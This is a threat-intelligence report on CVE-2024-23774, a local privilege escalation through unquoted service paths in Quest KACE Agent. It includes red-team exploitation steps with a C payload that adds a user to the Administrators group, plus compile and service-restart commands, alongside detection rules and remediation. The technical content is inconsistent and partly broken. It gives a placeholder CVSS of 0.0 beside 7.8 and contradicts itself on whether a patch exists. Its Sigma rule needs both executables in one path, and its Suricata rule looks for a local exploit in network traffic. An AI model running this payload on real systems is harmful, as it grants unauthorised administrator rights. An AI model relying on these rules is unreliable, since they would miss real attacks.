CVE-2024-23774

Executive Summary

CVE-2024-23774 is a local privilege escalation vulnerability in Quest KACE Agent for Windows, specifically affecting versions 12.0.38 and 13.1.23.0. The vulnerability stems from an unquoted Windows search path in the KSchedulerSvc.exe and AMPTools.exe components. This flaw allows a local attacker with limited privileges to execute arbitrary code with NT Authority/SYSTEM privileges by placing a malicious executable in a path that Windows will search due to the unquoted service path.

The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the potential for complete system compromise. No public exploit code or Nuclei templates are available at this time, but the attack vector is well-understood and easily exploitable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability is easily exploitable by any local user and leads to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue. Windows services are configured with a path to the executable. If this path contains spaces and is not enclosed in quotes, Windows will interpret each space-separated segment as a potential executable location. For example, if the service path is C:\Program Files\Quest\KACE\KSchedulerSvc.exe, Windows will attempt to execute:

1. C:\Program.exe
2. C:\Program Files\Quest\KACE\KSchedulerSvc.exe

An attacker can place a malicious executable named Program.exe in C:\ (or another writable location in the path) and then restart the service or wait for a system reboot to trigger execution with SYSTEM privileges.

The affected components are:

• KSchedulerSvc.exe - The KACE Scheduler Service
• AMPTools.exe - The AMP Tools component

Both are likely installed with unquoted paths in the Windows Service Control Manager.

Vulnerable vs. Patched Code

Vulnerable Code (Unquoted Service Path): The service installation command or registry entry likely contains:

ImagePath: C:\Program Files\Quest\KACE\KSchedulerSvc.exe

or

ImagePath: C:\Program Files\Quest\KACE\AMPTools.exe

Patched Code (Quoted Service Path): The fix would involve quoting the path:

ImagePath: "C:\Program Files\Quest\KACE\KSchedulerSvc.exe"

or

ImagePath: "C:\Program Files\Quest\KACE\AMPTools.exe"

No official patch is available as of this report.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system running Quest KACE Agent 12.0.38 or 13.1.23.0
• Ability to write to a directory in the unquoted path (e.g., C:\)

Exploitation Steps:

1. Identify vulnerable services:

   wmic service get name,pathname,displayname,startmode | findstr /i "KACE"
   

2. Check for unquoted paths:

   wmic service get name,pathname | findstr /i "KACE" | findstr /v "\""
   

3. Create a malicious executable:

   // malicious.c
   #include <windows.h>
   int main() {
       WinExec("cmd.exe /c net localgroup Administrators user /add", 0);
       return 0;
   }
   

   Compile: x86_64-w64-mingw32-gcc -o Program.exe malicious.c

4. Place the executable: Place Program.exe in C:\ (or the first writable directory in the path).

5. Trigger execution:

   • Restart the service: sc stop KSchedulerSvc && sc start KSchedulerSvc
   • Or wait for system reboot.

Blue Team

Detection:

• Monitor for new executables in C:\, C:\Program, or other root directories.
• Alert on service path modifications.
• Use Sysmon to detect process creation from unusual paths.

Prevention:

• Ensure all service paths are quoted.
• Restrict write permissions to C:\ for standard users.
• Apply the principle of least privilege.

Indicators of Compromise (IOCs)

• File: C:\Program.exe or C:\Program Files\Quest\KACE\KSchedulerSvc.exe (malicious)
• Process: Program.exe running from C:\
• Service: Modified service path for KSchedulerSvc or AMPTools
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\KSchedulerSvc\ImagePath containing unquoted path
• Event ID: 4688 (Process Creation) with C:\Program.exe as the command line

Detection Engineering

YARA Rule

rule CVE_2024_23774_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service paths for Quest KACE Agent"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23774"
    strings:
        $s1 = "KSchedulerSvc.exe" nocase
        $s2 = "AMPTools.exe" nocase
        $unquoted = /[A-Z]:\\[^"]*\\[^"]*\.exe/  // Simplified pattern
    condition:
        ($s1 or $s2) and #unquoted > 0
}

Sigma Rule

title: Unquoted Service Path in Quest KACE Agent
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service paths for KSchedulerSvc.exe or AMPTools.exe
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23774
author: Valters IT
date: 2024-01-01
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045  # Service installation
        ImagePath|contains|all:
            - 'KSchedulerSvc.exe'
            - 'AMPTools.exe'
        ImagePath|re: '^[^"]+ .+\.exe$'  # Unquoted path with spaces
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23774 Quest KACE Agent Unquoted Service Path Exploit"; flow:to_server,established; content:"Program.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote service paths:

   sc config KSchedulerSvc binPath="\"C:\Program Files\Quest\KACE\KSchedulerSvc.exe\""
   sc config AMPTools binPath="\"C:\Program Files\Quest\KACE\AMPTools.exe\""
   

2. Restrict write permissions:

   • Remove BUILTIN\Users write access from C:\ and other root directories.
   • Use Group Policy to enforce secure service configurations.

3. Monitor for exploitation:

   • Enable logging for service creation/modification (Event ID 7045).
   • Deploy YARA/Sigma rules from this report.

Long-term:

• Apply vendor patch when available.
• Upgrade to a patched version of Quest KACE Agent.
• Conduct a security audit of all installed services for unquoted paths.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Division